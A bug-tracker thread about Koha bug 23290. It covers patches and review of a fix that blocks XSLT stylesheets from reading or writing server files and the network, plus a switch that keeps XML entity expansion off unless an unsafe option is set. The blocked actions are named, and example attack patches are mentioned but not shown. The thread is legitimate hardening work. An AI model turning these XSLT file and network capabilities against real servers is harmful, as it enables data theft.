Created attachment 97617 [details] [review] Bug 23290: (follow-up) Disable expand_entities unless explicitly enabled This follow-up refines the change made in the former patch. See also https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=838097 https://rt.cpan.org/Public/Bug/Display.html?id=118032 We do not want to depend now on the exact LibXML version, so we will disable expand_entities unless it is explicitly enabled via the config variable koha_xslt_security. (Allowing us to test if bad things will be caught.) The options key is now always added to the Security object. The return from set_parser_options has been removed to allow disabling when there is no koha-conf entry (which probably is the normal situation). Test plan: [1] Test the first example patch with and without the other patches (excl. the second example). Toggle expand_entities in koha-conf. Restart Plack and flush the cache each time. Evaluate results with the commit message of first example. [2] Test both example patches with/without other patches. Toggle expand_entities. Restart etc. Evaluate results with commit message of second example (check tmp/breached.txt). Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 97618 [details] [review] Bug 23290: Add test Koha/XSLT/Security.t Test plan: Run it! Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 97619 [details] [review] Bug 23290: Add test for write_net Test plan: Run t/db_dependent/Koha/XSLT/Security.t Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 97620 [details] [review] Bug 23290: (follow-up) Replace warning_like by warnings_like Security.t does not pass anymore ;) Due to bug 23290 the tests now trigger an additional runtime error that we should also catch to let the tests pass again. Test plan: Run t/db_dependent/Koha/XSLT/Security.t Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
(In reply to Marcel de Rooy from comment #75) > (In reply to Jonathan Druart from comment #73) > > (In reply to Marcel de Rooy from comment #72) > > > Not sure what you mean about the test plan. > > > > How do we test the patch set? > > Will be adding a follow-up to refine patch 5 (allow enabling). > Will be adding a follow-up to fix the test. > Will be adding two example patches to allow testing bad behavior. > > Sending them very soon. Done. What to test? See also test plan of patch 6, the new follow-up which also refers to the two added example patches and their commit messages. For patch 7-9, run the new test.
Note for QA, RM/RMaint: Will add a specific (squashed) patch for backporting that does not contain the move to Koha::XSLT::Base.
(In reply to Marcel de Rooy from comment #82) > Since libxml2 disables it now by default, we need to enable it for testing. > I think that's just a patched libxml2 for Debian/Ubuntu though, so people running other distros should be mindful that it may not be disabled by default on their systems. (Just writing this here in case people running other distros find this bug report.)
(In reply to David Cook from comment #93) > (In reply to Marcel de Rooy from comment #82) > > Since libxml2 disables it now by default, we need to enable it for testing. > > > > I think that's just a patched libxml2 for Debian/Ubuntu though, so people > running other distros should be mindful that it may not be disabled by > default on their systems. > > (Just writing this here in case people running other distros find this bug > report.) See also the follow-up Disable expand_entities to make it disabled by default.
1. With all the patches applied, if I set the flag in config, I do not recreate the issue. What am I missing? 2. Should not we have koha_xslt_security in etc/config.xml? 3. "koha_xslt_security > expand_entities" does not read as "unsecure", and one could want to turn it on reading "security => 1" 4. % time prove t/db_dependent/Koha/XSLT/Security.t t/db_dependent/Koha/XSLT/Security.t .. ok All tests successful. Files=1, Tests=7, 20 wallclock secs ( 0.02 usr 0.01 sys + 0.36 cusr 0.06 csys = 0.45 CPU) That's super slow, why that? 5. comment 92 I am not confident with having 2 versions of this patch (one for master and one for stables). What if we found a bug we need to quick fix once it's released? What would be a plan for release? We still do not have the version for stable.
Created attachment 97871 [details] [review] Bug 23290: [RMaint version] Mitigate XML/XSLT vulnerabilities This is a squashed version for backporting to stable branches. IMPORTANT: It does not move XSLT_Handler to XSLT/Base as in master.
Will address the other questions soon. I had this version already but didnt want to complicate things ;)
(In reply to Jonathan Druart from comment #95) > 1. With all the patches applied, if I set the flag in config, I do not > recreate the issue. What am I missing? This might depend on your system too. But also note that you should restart Plack and flush the cache. And if you applied all patches, you should only miss the XSLT detail block on the detail page. Since you still see buttons and items, you might miss missing the stuff in between.. > 2. Should not we have koha_xslt_security in etc/config.xml? We do not need it at this moment. But I will post it to the subsequent report to add at least a commented entry. > 3. "koha_xslt_security > expand_entities" does not read as "unsecure", and > one could want to turn it on reading "security => 1" Good point. Will do some renaming in a follow-up. > 4. % time prove t/db_dependent/Koha/XSLT/Security.t > t/db_dependent/Koha/XSLT/Security.t .. ok > All tests successful. > Files=1, Tests=7, 20 wallclock secs ( 0.02 usr 0.01 sys + 0.36 cusr 0.06 > csys = 0.45 CPU) > > That's super slow, why that? Not sure. Something at your side? See here: Files=1, Tests=7, 0 wallclock secs ( 0.03 usr 0.00 sys + 0.42 cusr 0.05 csys = 0.50 CPU) Zero wallclock seconds. > 5. comment 92 > I am not confident with having 2 versions of this patch (one for master and > one for stables). What if we found a bug we need to quick fix once it's > released? > What would be a plan for release? We still do not have the version for > stable. The change between the RMaint version and the dev patches is so small that I am not afraid for that.
Created attachment 97978 [details] [review] Bug 23290: (QA follow-up) Rename option to expand_entities_unsafe When you enable options marked as unsafe, we hope that you know what you are doing. You should, while having access to koha-conf.xml. Test plan: Verify that Security.t still passes. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 97980 [details] [review] Bug 23290: [RMaint version] Mitigate XML/XSLT vulnerabilities This is a squashed version for backporting to stable branches. IMPORTANT: It does not move XSLT_Handler to XSLT/Base as in master.
Created attachment 98397 [details] [review] Bug 23290: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities The problem is that administrators can provide XSLTs that can read from the server and network and write to the server. The This patch prevents the Koha::XSLT_Handler from running XSLT stylesheets that call actions such as read_file, write_file, read_net, and write_net as documented at https://metacpan.org/pod/XML::LibXSLT#XML::LibXSLT::Security (Previous tests suggested issues with XML external entities causing read file like vulnerabilities but these were not reproducible) Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 98398 [details] [review] Bug 23290: Rename XSLT_Handler This is just a git move. Cannot be tested. (Easier for QA.) The next patch adjusts paths etc. in the module. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 98399 [details] [review] Bug 23290: Introduce Koha::XSLT::Security Also adds a temporary stub for Koha::XSLT_Handler referring to Base. This will be removed later. Test plan: Run t/db_dependent/XSLT_Handler.t Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 98400 [details] [review] Bug 23290: Apply the changes in Security to Base now Until now Base did not yet use Security. The security lines are removed from Base here by calls to Security. A new test must be added still. Test plan: Ensure that t/db_dependent/XSLT_Handler.t still passes. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 98401 [details] [review] Bug 23290: Allow enabling expand_entities Since libxml2 disables it now by default, we need to enable it for testing. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 98402 [details] [review] Bug 23290: (follow-up) Disable expand_entities unless explicitly enabled This follow-up refines the change made in the former patch. See also https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=838097 https://rt.cpan.org/Public/Bug/Display.html?id=118032 We do not want to depend now on the exact LibXML version, so we will disable expand_entities unless it is explicitly enabled via the config variable koha_xslt_security. (Allowing us to test if bad things will be caught.) The options key is now always added to the Security object. The return from set_parser_options has been removed to allow disabling when there is no koha-conf entry (which probably is the normal situation). Test plan: [1] Test the first example patch with and without the other patches (excl. the second example). Toggle expand_entities in koha-conf. Restart Plack and flush the cache each time. Evaluate results with the commit message of first example. [2] Test both example patches with/without other patches. Toggle expand_entities. Restart etc. Evaluate results with commit message of second example (check tmp/breached.txt). Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 98403 [details] [review] Bug 23290: Add test Koha/XSLT/Security.t Test plan: Run it! Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 98404 [details] [review] Bug 23290: Add test for write_net Test plan: Run t/db_dependent/Koha/XSLT/Security.t Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 98405 [details] [review] Bug 23290: (follow-up) Replace warning_like by warnings_like Security.t does not pass anymore ;) Due to bug 23290 the tests now trigger an additional runtime error that we should also catch to let the tests pass again. Test plan: Run t/db_dependent/Koha/XSLT/Security.t Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Created attachment 98406 [details] [review] Bug 23290: (QA follow-up) Rename option to expand_entities_unsafe When you enable options marked as unsafe, we hope that you know what you are doing. You should, while having access to koha-conf.xml. Test plan: Verify that Security.t still passes. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
All works as expected to me and reads well.. thanks for working on this guys.. Passing QA.. lets not hold it up any longer.
Yay!
Am I correct in assuming that all I need to do for the 19.11 release is apply Marcel's [RMaint version] patch? Let me know if others are required and I can apply those as well. joy p.s. thanks marcel!
(In reply to Joy Nelson from comment #113) > Am I correct in assuming that all I need to do for the 19.11 release is > apply Marcel's [RMaint version] patch? Let me know if others are required > and I can apply those as well. > > joy > p.s. thanks marcel! Yes, you only need the RMaint patch.
Nice work everyone! Pushed to master for 20.05
(In reply to Martin Renvoize from comment #115) > Nice work everyone! > > Pushed to master for 20.05 Thx Martin. Will start on the follow-up very soon.
Created attachment 99587 [details] [review] Bug 23290: (RM follow-up) Correction to copyright statement We have updated our copyright statements now ;) Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>